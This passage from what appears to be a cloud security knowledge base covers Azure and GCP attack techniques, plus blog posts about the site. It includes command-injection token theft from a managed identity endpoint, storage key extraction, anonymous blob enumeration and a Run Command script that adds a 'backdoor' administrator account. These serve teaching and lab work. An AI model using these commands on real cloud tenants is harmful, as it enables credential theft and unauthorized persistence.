      Utilising command injection on the web app, we are able to make a curl request to the $IDENTITY_ENDPOINT URL stored in the environment variables and get an Access token and Account ID (clientId in the response) which can be used to authenticate to Azure.

      curl \"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01\" -H secret:$IDENTITY_HEADER\n

      Using the Azure Powershell module, we can connect to Azure with the access token:

      PS> Install-Module -Name Az -Repository PSGallery -Force\nPS> Connect-AzAccount -AccessToken <access_token> -AccountId <client_id>\n

      Once the connection has been established, you will be able to see the details for the tenant, subscription and other details the compromised managed identity has access to - using the Get-AzResource Azure Powershell cmdlet, we can check which resources inside the subscription we can access:

      To list the roles assigned to the managed identity, we can use the Azure Powershell cmdlet Get-AzRoleAssignment. This cmdlet requires and additional token from the Graph API which we can get from the https://graph.microsoft.com/ endpoint, additionally it requires the permission to list roles and permissions for identities which the compromised Managed Identity does not have.

      However, you can still try to access the Storage Account keys without these permissions and see if they are successful. For that you can use the Get-AzStorageAccountKey cmdlet with the Resource Group Name and Account Name that was found in the previous step.

      Get storage account keys:

      >Get-AzStorageAccountKey -ResourceGroupName \"0xpwnlab\" -AccountName \"0xpwnstorageacc\"\n\nKeyName Value                       Permissions CreationTime\n------- -----                       ----------- ----------\nkey1    L175hccq[...]lH9DJ==        Full 3/12/20...\nkey2    vcZiPzJp[...]ZkKvA==        Full 3/12/20...\n

      http://aka.ms/storage-explorer

      If the above command returns two keys, then it means that our identity had permissions to list them. Assuming this is the case - let\u2019s use these keys in Azure Storage Explorer and see if there are other containers stored on the same account.

      In the Azure Storage Explorer, we click the connect icon and select storage account or service.

      On the second step, this time we select the Account name and key option:

      For the Account name we use the name that we enumerated in the Get-AzResource step, and for the key; either of the two returned keys will work:

      Once we connect, on the left side menu we should find a new storage account, we see 2 containers: the images container used by the web app, but also another one containing the flag.

      And that\u2019s it! We have just seen how utilising a command injection into a web app, we discovered that it had a managed identity associated to it. After we got the JWT access token, we connected to Azure using the Azure Powershell CLI and enumerated the resources that we have access to. The improper permissions set for the Managed Identity allowed us to read the access key for the whole Storage Account and discover another private container that was not referenced anywhere, containing the flag for sensitive information.

      "},{"location":"azure/anonymous-blob-access/","title":"Anonymous Blob Access","text":"
      • Original Research

        Create an Azure Vulnerable Lab: Part #1 \u2013 Anonymous Blob Access by Andrei Agape

      \"Storage Accounts\" is the service provided by Azure to store data in the cloud. A storage account can used to store:

      • Blobs
      • File shares
      • Tables
      • Queues
      • VM disks

      For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:

      • Private Access \u2013 no anonymous access is allowed
      • Blob Access \u2013 we can access the blobs anonymously, as long as we know the full URL (container name + blob name)
      • Container Access \u2013 we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)

      As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.

      "},{"location":"azure/anonymous-blob-access/#exploiting-anonymous-blob-access","title":"Exploiting Anonymous Blob Access","text":"

      Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I\u2019ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it\u2019ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:

      PS > import-module .\\MicroBurst.psm1\nPS> Invoke-EnumerateAzureBlobs -Base 0xpwnstorageacc\nFound Storage Account - 0xpwnstorageacc.blob.core.windows.net\nFound Container - 0xpwnstorageacc.blob.core.windows.net/public\nPublic File Available: https://0xpwnstorageacc.blob.core.windows.net/public/flag.txt\n

      Alternatively adding ?restype=container&comp=list after the container name:

      https://<storage_account>.blob.core.windows.net/<container>?restype=container&comp=list\n
      Output:
      <EnumerationResults ContainerName=\"https://0xpwnstorageacc.blob.core.windows.net/public\">\n    <Blobs>\n        <Blob>\n            <Name>flag.txt</Name>\n            <Url>\nhttps://0xpwnstorageacc.blob.core.windows.net/public/flag.txt\n</Url>\n            <Properties>\n                <Last-Modified>Sat, 05 Mar 2022 18:02:14 GMT</Last-Modified>\n                <Etag>0x8D9FED247B7848D</Etag>\n                <Content-Length>34</Content-Length>\n                <Content-Type>text/plain</Content-Type>\n                <Content-Encoding/>\n                <Content-Language/>\n                <Content-MD5>lur6Yvd173x6Zl1HUGvtag==</Content-MD5>\n                <Cache-Control/>\n                <BlobType>BlockBlob</BlobType>\n                <LeaseStatus>unlocked</LeaseStatus>\n            </Properties>\n        </Blob>\n    </Blobs>\n    <NextMarker/>\n</EnumerationResults>\n

      "},{"location":"azure/enum_email_addresses/","title":"Unauthenticated Enumeration of Valid Azure Active Directory Email Addresses","text":"

      You can enumerate valid email addresses associated with the Azure Active Directory service using CredMaster or Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

      "},{"location":"azure/run-command-abuse/","title":"Run Command Abuse","text":"
      • Original Research

        Azure Run Command for Dummies by Adrien Bataille, Anders Vejlby, Jared Scott Wilson, Nader Zaveri

      "},{"location":"azure/run-command-abuse/#technique","title":"Technique","text":"

      MITRE: Execution > Cloud Administration Command

      Run Command is an operation within Azure that allows administrators to run scripts on Windows and Linux virtual machines via the:

      • Azure Portal,
      • Azure CLI, and
      • PowerShell

      Once configured the script is run via the virtual machine agent installed on the virtual machine.

      A script ran via Run Command runs with the following privleges:

      • System on Windows, and as
      • root on Linux

      In order to use this functionality an identity must have the following role assigned to it: Microsoft.Compute/virtualMachines/runCommands/action

      This example focuses on the abuse of Run Commands against Windows hosts, however, the same methodology can be used to target Linux based virtual machines.

      The script that this example will utilise is as follows:

      net user /add backdoor BingoBango123!\nnet localgroup administrators backdoor /add\n

      This script:

      • Creates a new user named backdoor, then
      • Adds the user to the local Administrator group

      This example will use the Azure Portal to create and run the aforementioned script. More information on running these commands via the Azure CLI or PowerShell can be found within the relevant Microsoft documentation.

      Browsing to the virtual machine, we can select the Run Command option, enter our script then execute it, as depicted in the following screenshot:

      Once the script has executed, we can authenticate to the virtual machine with our new credentials and check on it's status, as depicted in the following screenshot:

      Here we can see that the script has successfully executed, and the backdoor user has been added to the local Administrator group.

      "},{"location":"azure/run-command-abuse/#detection","title":"Detection","text":"

      The following operation name can be used to audit and alert on Run Commands being used within a tenant: Microsoft.Compute/virtualMachines/runCommand/action

      "},{"location":"azure/run-command-abuse/#further-reading","title":"Further reading","text":"
      • https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command
      • https://learn.microsoft.com/en-us/azure/virtual-machines/linux/run-command
      "},{"location":"azure/soft-deleted-blobs/","title":"Soft Deleted Blobs","text":"
      • Original Research

        0xPwN Blog - Create an Azure Vulnerable Lab: Part #3 \u2013 Soft Deleted Blobs by Andrei Agape

      In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:

      • A shared access signature (SAS) \u2013 is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.
      • A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.
      • Managed Identities

      For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability. We can find the connection string of a Storage Account in the Azure portal as shown below:

      Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don\u2019t be that developer.

      The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day \u201cfeature\u201d.

      "},{"location":"azure/soft-deleted-blobs/#exploiting-soft-deleted-blobs","title":"Exploiting Soft Deleted Blobs","text":"

      Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:

      Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):

      Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account

      And that we want to use a Connection String

      And we paste the value of the conn_str variable that we found in the source code, and connect:

      On the left side menu, a new storage account should show up. Navigate to the Blob Containers -> images and open it:

      At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:

      And voila! Right click -> Undelete

      "},{"location":"blog/2022_wrap-up/","title":"2022 Wrap-up","text":"

      Nick Frichette \u00b7 @frichette_n \u00b7 December 14, 2022

      2022 is coming to a close and it's time to look back on the year. For Hacking the Cloud, 2022 has been a year of steady improvements. We've consistently had new content and new techniques added to the catalog throughout the year. We also expanded the type of content we offer with a full-blown, custom, CTF! With all that in mind, here are some accomplishments for the site this year, along with some noteworthy updates.

      "},{"location":"blog/2022_wrap-up/#numbers","title":"Numbers","text":"

      I think the best way to view how well the site is doing is to see some numbers. Here are some fun statistics. All data was pulled ~6PM Central, December 13th. In 2022, Hacking the Cloud has:

      • 625 stars gained on GitHub
      • 225 commits committed
      • 73,925 visits
      • 124,278 page views
      • 6,408 average monthly visitors (excluding December)
      • 9,763 average monthly visitors in the past quarter!

      November in particular was a high traffic month, presumably because of multiple articles being released and gaining traction on Google's Discover.

      Compared to 2021, visitor count has increased over 94%! (Note: 2022 is not over, hence the dotted line for 2022)

      We have also reached 17 contributors officially on GitHub! I want to personally thank every single one of you who took the time to contribute to the site. Especially for Azure and GCP which I have no knowledge of. You all make this possible and I appreciate your contributions deeply.

      "},{"location":"blog/2022_wrap-up/#most-popular-articles","title":"Most Popular Articles","text":"

      Some more numbers; this time the most popular articles along with page views:

      1. Steal EC2 Metadata Credentials via SSRF - 10,963 page views!
      2. CI/CDon't - 5,842 page views.
      3. AWS Organizations Defaults - 5,325 page views.
      4. Connection Tracking - 5,209 page views.
      5. Using Stolen IAM Credentials - 5,043 page views.

      Once again, the Steal EC2 Metadata Credentials via SSRF article was the number one most popular page on the site! I think this is mostly attributed to high SEO ranking, along with it being a crucial security topic.

      CI/CDon't was a surprise runner up, but a happy surprise. I made this CTF specifically for Hacking the Cloud to cover some important security topics. I'm hoping that view count is indicative that folks enjoyed it and perhaps a few played it themselves.

      Using Stolen IAM Credentials ranking in the top 5 was another happy surprise. This article deviates from the standard type of article we would normally host. Typically each page of Hacking the Cloud is dedicated to an individual technique. This article was an attempt to create a \"playbook\" that would explain how an attacker should operate in a certain situation, along with OPSEC considerations. Considering that this article has been viewed so much, I definitely plan to continue this type of content. Perhaps with accompanying video content?

      "},{"location":"blog/2022_wrap-up/#rss-feeds","title":"RSS Feeds!","text":"

      If you want to be the first to know when a new technique has been added to Hacking the Cloud, I have good news for you! We now have two RSS feeds thanks to the mkdocs-rss-plugin. The created feed (also linked in the footer) is the recommended feed to follow if you'd like to be notified when a new article has been added. We also have an updated feed, in case you want a notification every time a page is changed (not recommended but nobody is stopping you).

      Please note, I've been a little wary about adding RSS support to Hacking the Cloud out of fear that something will go wrong. So far, testing has been positive, but I apologize in advance if something goes haywire and you get spammed with notifications.

      "},{"location":"blog/2022_wrap-up/#plagiarism","title":"Plagiarism","text":"

      Last month, I was made aware that another site was copying entire articles from Hacking the Cloud and publishing them on their own site. You can see some examples below.

      Hacking the Cloud Copy

      As you can imagine, I was pretty unhappy with this for a number of reasons. Writing content for Hacking the Cloud takes a significant time investment. Setting up test infrastructure, getting screenshots, validating logs, ensuring everything written is 100% accurate (and fixing it when things slip through) is a huge endeavor. It is deflating and frustrating when another site claims they have more content, only for you to find a non-insignificant portion of that content was copied and pasted from your work and the work of people who took time to contribute to your project.

      Furthermore, it is even more upsetting when that site has a banner seeking company sponsorships and subscription plans, potentially profiting off of work done for Hacking the Cloud (I should mention, when asked about this, the site owner told me the site does not make money).

      I am 100% supportive of citing other researchers. It's why Hacking the Cloud has links to original research, additional resources, and references at the top of each article, front and center. However, there is a huge difference between citing someone, or crediting someone, and copying the entire article, word-for-word.

      To that site owner's credit, when I raised these concerns with them they were quick to remove the plagiarized content. To my knowledge this has not been a problem since, and I don't hold any ill-will towards them.

      Feb 2024 Update

      It has been brought to my attention that HackTricks Cloud is still engaging in blatant plagiarism of a variety of different sources, including plagiarizing Hacking the Cloud content. Please see this this Twitter thread for some examples. Please see this thread for more examples. I recommend avoiding their training course because of this. Copying and pasting blog posts and referencing those as training materials does not inspire confidence.

      As a result of this incident, however, I have added additional language to our existing Plagiarism Policy to further enforce that we will not accept plagiarized content on Hacking the Cloud. Additionally, I have added additional guarantees that I will remove links/references at the author's request (including situations that don't involve plagiarism).

      Hacking the Cloud uses the MIT License which, in retrospect, was a big mistake. When this decision was made, I was not considering the potential for someone to copy content from the site and potentially monetizing it. I have spent some time looking into this, but I am not a lawyer, I don't know a thing about copyright, and I have not had much luck finding resources on how we can better protect the site's content. If you have any experience in this domain, I would love to hear from you.

      "},{"location":"blog/2022_wrap-up/#mastodon","title":"Mastodon","text":"

      In a bit of an experiment, Hacking the Cloud now has its own Mastodon account! My goal with this account is to try something new. In the short term, I'd like to add a GitHub action to post to the account when a new article is published, along with posting release notes for the site.

      Long term, I'd like to cover broader cloud security news, and highlight interesting research or findings. I'm considering hooking it up to the RSS feeds of some well known blogs and sharing cloud security news that way. Feel free to give the account a follow if you're interested.

      "},{"location":"blog/2022_wrap-up/#plans-for-the-future","title":"Plans for the Future","text":"

      Aside from continuing to add to the catalog of AWS attack techniques, I have three initiatives for Hacking the Cloud in 2023. The first, as mentioned previously, will be to add what I will loosely call \"playbooks\"; step by step guides demonstrating some path along the exploit chain. With this type of content, I think there is an opportunity to showcase how individual techniques can be chained together and demonstrate how an attacker can operate in a cloud environment.

      The second major initiative is to begin adding Kubernetes attacks to the mix. While not strictly cloud-specific (I'm running a kubernetes cluster 5 feet from where I'm sitting. And, no, I haven't broken into us-east-1.... yet.), it is undeniable that Kubernetes is a massive part of many organizations' security posture. Things may get a bit blurred if anything is specific to the cloud provider's implementation of Kubernetes but we'll cross that bridge when we get to it.

      And finally, I'd like to add more resources to the site related to real world attacks. Currently, I'm planning to add references to individual techniques if they were seen in the wild and where. This way, we can get an understanding of attack trends and prioritize defenses based on real-world usage.

      "},{"location":"blog/2022_wrap-up/#conclusion","title":"Conclusion","text":"

      I hope you had a good 2022 and have an even better 2023. May every vulnerability you find be a critical! Happy holidays!

      "},{"location":"blog/2023_wrap-up/","title":"2023 Wrap-up","text":"

      Nick Frichette \u00b7 @frichette_n \u00b7 December 20, 2023

      2023 is coming to a close and it\u2019s time to look back on the year. This was the third year that Hacking the Cloud has been operating, sharing techniques on attacking and defending cloud environments. We\u2019ve added a number of new articles to the site and updated old ones. With all this in mind, here are some accomplishments for the site this year.

      "},{"location":"blog/2023_wrap-up/#numbers","title":"Numbers","text":"

      Here are some fun stats. All data was pulled ~6PM central, December 19th. In 2023, Hacking the Cloud has:

      • 457 stars gained on GitHub (1389 total)
      • 128 commits committed
      • 96,031 visits
      • 187,542 pageviews
      • 8,238 average monthly visitors (excluding December)
      • And a partridge in a pear tree

      Compared to 2023, the visitor count has increased 29.9%, pageviews 50.9%, and average monthly visitors 28.6%!

      The number of total contributors to the site has also increased to 25 (up from 17). A major thank you to everyone who has contributed to building Hacking the Cloud. From the smallest fix of a typo, to writing entire articles, everything helps make the site a better source for cloud security information. All our contributors make this site possible and I appreciate their efforts deeply.

      "},{"location":"blog/2023_wrap-up/#most-popular-articles","title":"Most popular articles","text":"

      An area that I\u2019m always interested in are our most popular articles. What topics are cloud security professionals interested in learning about? What articles are being shared in Jira tickets to be fixed? Here are the top 5 most popular articles:

      1. Steal EC2 Metadata Credentials via SSRF - 16,234 pageviews!
      2. AWS Organizations Defaults & Pivoting - 15,343 pageviews.
      3. Abusing Managed Identities - 5,703 pageviews.
      4. Using Stolen IAM Credentials - 5,594 pageviews.
      5. Connection Tracking - 4,869 pageviews.

      For the third year running, \u201cSteal EC2 Metadata Credentials via SSRF\u201d is our most popular article, but unlike previous years it\u2019s not by a landslide. This article, and by extension, this technique, is a cornerstone of AWS security. Stealing IAM credentials from the instance metadata service via SSRF has provided many penetration testers and red teamers the initial access they needed in an environment. Starting next year however, AWS has announced that IMDSv2 will be the only option going forward. Will this mean that this beloved technique will be a thing of the past? I guess we\u2019ll have to check the stats next year.

      In second place, and very close to first, we have \u201cAWS Organizations Defaults & Pivoting\u201d. I think this rise in viewership can be attested to a growing understanding amongst offensive security professionals that cross-account trust is a huge lateral movement opportunity that can be taken advantage of. This article touches on the OrganizationAccountAccessRole, one of my favorite roles in AWS which potentially can be abused to take over every AWS account in an organization. A major thank you to Scott Weston for all his efforts in expanding on the article and adding more content.

      In third place, we have the first non-AWS article to ever make a top 5 (and I\u2019m pretty sure a top 10), \u201cAbusing Managed Identities\u201d. In this article Andrei Agape describes how you can take advantage of a managed identity to access other Azure resources. As an exclusively AWS person, I\u2019m excited to see more interest in other cloud providers. If you aren\u2019t an AWS person and want to share some knowledge about cloud security, feel free to open a pull request and share your knowledge with others!

      "},{"location":"blog/2023_wrap-up/#most-popular-social-networks","title":"Most popular social networks","text":"

      If you\u2019re interested in learning more about cloud security, you may also be interested in discussing with like-minded people. Social media can make that a lot easier. Here are the top social media websites with content that linked to Hacking the Cloud articles that got clicks.

      1. LinkedIn - 42% of links
      2. Twitter - 30% of links
      3. GitHub - 13% of links
      4. Reddit - 9% of links
      5. Facebook - 6% of links
      6. Others - <1%

      LinkedIn reigns supreme this year with 42% of all social media links. Perhaps, aside from all the hustle culture, there may be a thriving community of cloud security professionals there.

      In what may be a surprise to some (but not others), it looks like the InfoSec flight from Twitter might have some data backing it up. Twitter made up only 30% of links in 2023, down from 40% in 2022.

      For my Mastodon fans, I wouldn\u2019t worry about not showing up on the leaderboards. Because of the distributed nature of the network, there isn\u2019t a very easy way to track it. Personally, I\u2019ve found a number of technical people interested in chatting about tech. If you are on the woolly site you can even follow Hacking the Cloud on Mastodon!

      "},{"location":"blog/2023_wrap-up/#thank-you","title":"Thank you!","text":"

      Again, I want to say thank you to everyone who has shared the site\u2019s content, contributed to making it better, or even for just saying a kind word. Hacking the Cloud has been a passion project for years now, trying to make cloud security information more accessible for the community. Thank you all for an amazing 2023, and I look forward to 2024!

      "},{"location":"blog/v2_new_look/","title":"Hacking The Cloud v2: New Look","text":"

      Nick Frichette \u00b7 @frichette_n \u00b7 December 6, 2021

      Whoa! Things look a little different? You're not imagining it.

      The old look.

      Hacking The Cloud now uses Material for MkDocs to render the beautiful HTML you see before you.

      "},{"location":"blog/v2_new_look/#why-the-change","title":"Why the Change?","text":"

      When Hacking The Cloud was first started in mid-2020, I was primarily focused on getting the project off the ground and wasn't particularly interested in the formatting or appearance. This resulted in the choice to use a familiar technology (Hugo) and finding a freely available theme for it (zDoc).

      This helped get the project up and running quickly and allowed me to work on getting the first few pages created. Over time, however, small changes were need. Increased font size, changes to the navigation layout, CSS tweaks, etc. Recently more time has been spent making sure things looked okay rather than actually creating content.

      To be clear, the zDoc theme is excellent, there were just some changes needed that made the theme difficult to use for our purposes. These needs, combined with the appearance that the theme is no longer actively maintained, had caused me to look for something different.

      "},{"location":"blog/v2_new_look/#why-material-for-mkdocs","title":"Why Material for MkDocs?","text":"

      For the past several months I've been looking for a suitable replacement. My list of requirements was high. Additionally, I was looking for something simple, easy to use, and wouldn't have me constantly thinking, \"does this look okay on mobile?\".

      By pure luck, I found what I was looking for. Kinnaird McQuade happened to retweet an announcement from the Material for MkDocs project, and I was hooked. It looked great, supported Markdown, had admonitions, code blocks, produced static HTML, client-side search, and just about everything else I was looking for.

      More than that, it's fun and easy to work with.

      If you'd like to support Material for MkDocs you can join me in sponsoring the project.

      "},{"location":"blog/v2_new_look/#what-does-this-mean-for-you","title":"What Does This Mean for You?","text":"

      Honestly, not a whole lot. Hacking the Cloud will now look a lot better on desktop and mobile. This will free up time and resources to focus on what actually matters, the content.

      For folks interested in contributing, you are only a pull request away! Our contributing guide has everything you need to get up and running. If you have any questions or ideas feel free to start a conversation on our discussions page.

      "},{"location":"gcp/capture_the_flag/gcp-goat/","title":"GCP Goat","text":"

      GCP-Goat is the vulnerable application for learning the Google Cloud Security

      The Application consists of the following scenarios

      • Attacking Compute Engine
      • Attacking Sql Instance
      • Attacking GKE
      • Attacking GCS
      • Privilege Escalation
      • Privilege Escalation in Compute Engine

      Project-Link

      "},{"location":"gcp/capture_the_flag/thunder_ctf/","title":"Thunder CTF","text":"

      Thunder CTF allows players to practice attacking vulnerable cloud projects on Google Cloud Platform (GCP). In each level, players are tasked with exploiting a cloud deployment to find a \"secret\" integer stored within it. Key to the CTF is a progressive set of hints that can be used by players when they are stuck so that levels can be solved by players of all levels from novices to experts.

      The CTF is available at https://thunder-ctf.cloud/.

      The GitHub repository for the Thunder CTF also includes:

      • Least Privileges
      • Cloud Audit

      Least Privilege CTF (slides) is an extension of Thunder CTF. Least Privilege levels have been desgined to help understand Google Cloud Platform's IAM roles and permissions.

      Cloud Audit is a series of code labs that will walk you through a few basic and a few more advanced cloud security concepts from a defender point of view.

      "},{"location":"gcp/capture_the_flag/thunder_ctf/#links","title":"Links:","text":"
      • Website
      • GitHub
      "},{"location":"gcp/enumeration/enum_email_addresses/","title":"Unauthenticated Enumeration of Valid Google Workspace Email Addresses","text":"

      You can enumerate valid email addresses associated with the Google Workspace service using Quiet Riot. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.

      "},{"location":"gcp/enumeration/enumerate_all_permissions/","title":"Enumerate Org/Folder/Project Permissions + Individual Resource Permissions","text":"
      • Tools mentioned in this article

        gcpwn

      "},{"location":"gcp/enumeration/enumerate_all_permissions/#what-is-testiampermissions","title":"What is testIamPermissions?","text":"

      GCP offers a \"testIamPermissions\" API call on most resources that support policies. This includes resources like:

      • Organizations
      • Folders
      • Projects
      • Compute Instances
      • Cloud Functions

      In MOST cases, the general psuedo-code is the same regardless of the resource. However, the permissions allowed are usually dependent on the resource.

      For example, for \"Projects\" (probably 99% of people's interest), testIamPermissions is documented here. Note the general pattern is passing in an array (or list) of individual permissions and the service will return the list of permissions the caller is allowed in that specific project. So in the example below, we pass in a large number of permissions and maybe just \"cloudfunctions.functions.list\" is returned indicating our caller has that permission within this project (aka, can list all cloud functions in this project).

      # Input\n{\n  \"permissions\": [\n    compute.instances.addAccessConfig\n    cloudfunctions.functions.list\n    etc\n  ]\n}\n\n# Output\n{\n  \"permissions\": [\n     cloudfunctions.functions.list\n  ]\n}\n

      However, testIamPermissions does NOT just exist for projects. The compute service allows you to specify permissions at the compute instance level (as opposed to the project level). As such, testIamPermissions actually exists for instances as well shown in the documentation here. You'll notice the API call is pretty much the same as the projects API call in that it takes in a big list of permission and returns the list of permissions the caller has on THAT specific instance; we are just calling testIamPermissions on the instance as opposed to the project. Also note we could not pass in \"cloudfunctions.functions.list\", for example, to the instances testIamPermissions as it will only accept instance-level permissions.

      # Input\n{\n  \"permissions\": [\n                'compute.instances.addAccessConfig',\n                'compute.instances.addMaintenancePolicies',\n                'compute.instances.addResourcePolicies',\n                'compute.instances.attachDisk',\n                'compute.instances.createTagBinding',\n                'compute.instances.delete',\n                'compute.instances.deleteAccessConfig',\n                'compute.instances.deleteTagBinding',\n                'compute.instances.detachDisk',\n                'compute.instances.get',\n                'compute.instances.getEffectiveFirewalls',\n                'compute.instances.getGuestAttributes',\n                'compute.instances.getIamPolicy',\n                'compute.instances.getScreenshot',\n                'compute.instances.getSerialPortOutput',\n                'compute.instances.getShieldedInstanceIdentity',\n                'compute.instances.getShieldedVmIdentity',\n                'compute.instances.listEffectiveTags',\n                'compute.instances.listReferrers',\n                'compute.instances.listTagBindings',\n                'compute.instances.osAdminLogin',\n                'compute.instances.osLogin',\n                'compute.instances.removeMaintenancePolicies',\n                'compute.instances.removeResourcePolicies',\n                'compute.instances.reset',\n                'compute.instances.resume',\n                'compute.instances.sendDiagnosticInterrupt',\n                'compute.instances.setDeletionProtection',\n                'compute.instances.setDiskAutoDelete',\n                'compute.instances.setIamPolicy',\n                'compute.instances.setLabels',\n                'compute.instances.setMachineResources',\n                'compute.instances.setMachineType',\n                'compute.instances.setMetadata',\n                'compute.instances.setMinCpuPlatform',\n                'compute.instances.setName',\n                'compute.instances.setScheduling',\n                'compute.instances.setSecurityPolicy',\n                'compute.instances.setServiceAccount',\n                'compute.instances.setShieldedInstanceIntegrityPolicy',\n                'compute.instances.setShieldedVmIntegrityPolicy',\n                'compute.instances.setTags',\n                'compute.instances.simulateMaintenanceEvent',\n                'compute.instances.start',\n                'compute.instances.startWithEncryptionKey',\n                'compute.instances.stop',\n                'compute.instances.suspend',\n                'compute.instances.update',\n                'compute.instances.updateAccessConfig',\n                'compute.instances.updateDisplayDevice',\n                'compute.instances.updateNetworkInterface',\n                'compute.instances.updateSecurity',\n                'compute.instances.updateShieldedInstanceConfig',\n                'compute.instances.updateShieldedVmConfig',\n                'compute.instances.use',\n                'compute.instances.useReadOnly'\n  ]\n}\n\n# Output\n{\n  \"permissions\": [\n                'compute.instances.start',\n                'compute.instances.startWithEncryptionKey',\n                'compute.instances.stop',\n  ]\n}\n
      "},{"location":"gcp/enumeration/enumerate_all_permissions/#gcpwn-introduction","title":"GCPwn Introduction","text":"

      gcpwn is a tool that will run testIamPermission on all resources identified if specified by the end user. This means it will cover testIamPermission test cases for organizations, projects, folders, compute instances, cloud functions, cloud storage (buckets), service accounts, etc. For orgs/projects/folders it runs a small list of permissions as the input but you can specify through flags to brute force ~9500 permissions.

      To install the tool, follow the installation instructions here. Once installed, review the \"Common Use Cases\" which covers both of the items above.

      To see a live demo, you can watch this which covers testIamPermissions briefly.

      Note

      The tool will also passively record all API permissions you were able to call regardless if testIamPermissions is used, testIamPermissions just will give you more permissions back usually.

      "},{"location":"gcp/enumeration/enumerate_all_permissions/#enumerate-permissions-on-individual-resources","title":"Enumerate Permissions on Individual Resources","text":"

      Each enumeration module (ex. enum_instances) in the tool allows you to pass in an --iam flag that will call testIamPermissions on the resource while enumerating it. Once run, you can run creds info as shown below and this will list out all the permissions your caller has. Review the POC below.

      1. Show the value for the service account key. Note the same technique can be used for application default credentials (username/password) as well as standalone Oauth2 tokens
      2. Start up the tool via python3 main.py. Load in the service account credentials for the file we just showed.
      3. Now that the credentials are loaded in and the project is set (Note if project is Unknown you can set it with projects set <project_id>), run creds info and note that NO permissions are known for the current user
      4. Run enum_instances and see an instance is found. Run creds info again and note that permission are now populated saying the user has compute.instances.list on the project and compute.instances.get on the instance itself.
      5. Run enum_instances again but now include testIamPermission calls with the --iam flag. Run creds info again and note way more permissions were identified for the specified compute instance as gcpwn ran testIamPermissions during the enumeration phaes and saved the results. Now we can see our caller has not just compute.instances.get but compute.instances.addAccessConfig, compute.instances.addMaintenancePolicies, compute.instances.addResourcePolicies, etc. on instance-20240630-025631
      6. This is hard to read. So you can pass in --csv with creds info to export it to an easy to read Excel file. creds info will highlight \"dangerous\" permissions red and the resulting CSV has a column for True/False for dangerous permissions.
      \u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ cat key.json\n{\n  \"type\": \"service_account\",\n  \"project_id\": \"production-project[TRUNCATED]\",\n  \"private_key_id\": \"2912[TRUNCATED]\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvQIBADANBgkqhkiG9w0B[RECACTED]\\n-----END PRIVATE KEY-----\\n\",\n  \"client_email\": \"newserviceaccount@production-project[TRUNCATED].iam.gserviceaccount.com\",\n  \"client_id\": \"11[TRUNCATED]\",\n  \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n  \"token_uri\": \"https://oauth2.googleapis.com/token\",\n  \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n  \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/newserviceaccount%40production-project[TRUNCATED].iam.gserviceaccount.com\",\n  \"universe_domain\": \"googleapis.com\"\n}\n\n\u250c\u2500\u2500(kali\u327fkali)-[~/gcpwn]\n\u2514\u2500$ python3 main.py \n[*] No workspaces were detected. Please provide the name for your first workspace below.\n> New workspace name: DemoWorkspace\n[*] Workspace 'DemoWorkspace' created.\n\n[TRUNCATED]\n\n[*] Listing existing credentials...\n\n\nSubmit the name or index of an existing credential from above, or add NEW credentials via Application Default \nCredentails (adc - google.auth.default()), a file pointing to adc credentials, a standalone OAuth2 Token, \nor Service credentials. See wiki for details on each. To proceed with no credentials just hit ENTER and submit \nan empty string. \n[1] *adc      <credential_name> [tokeninfo]                    (ex. adc mydefaultcreds [tokeninfo]) \n[2] *adc-file <credential_name> <filepath> [tokeninfo]         (ex. adc-file mydefaultcreds /tmp/name2.json)\n[3] *oauth2   <credential_name> <token_value> [tokeninfo]      (ex. oauth2 mydefaultcreds ya[TRUNCATED]i3jJK)  \n[4] service   <credential_name> <filepath_to_service_creds>    (ex. service mydefaultcreds /tmp/name2.json)\n\n*To get scope and/or email info for Oauth2 tokens (options 1-3) include a third argument of \n\"tokeninfo\" to send the tokens to Google's official oauth2 endpoint to get back scope. \ntokeninfo will set the credential name for oauth2, otherwise credential name will be used.\nAdvised for best results. See 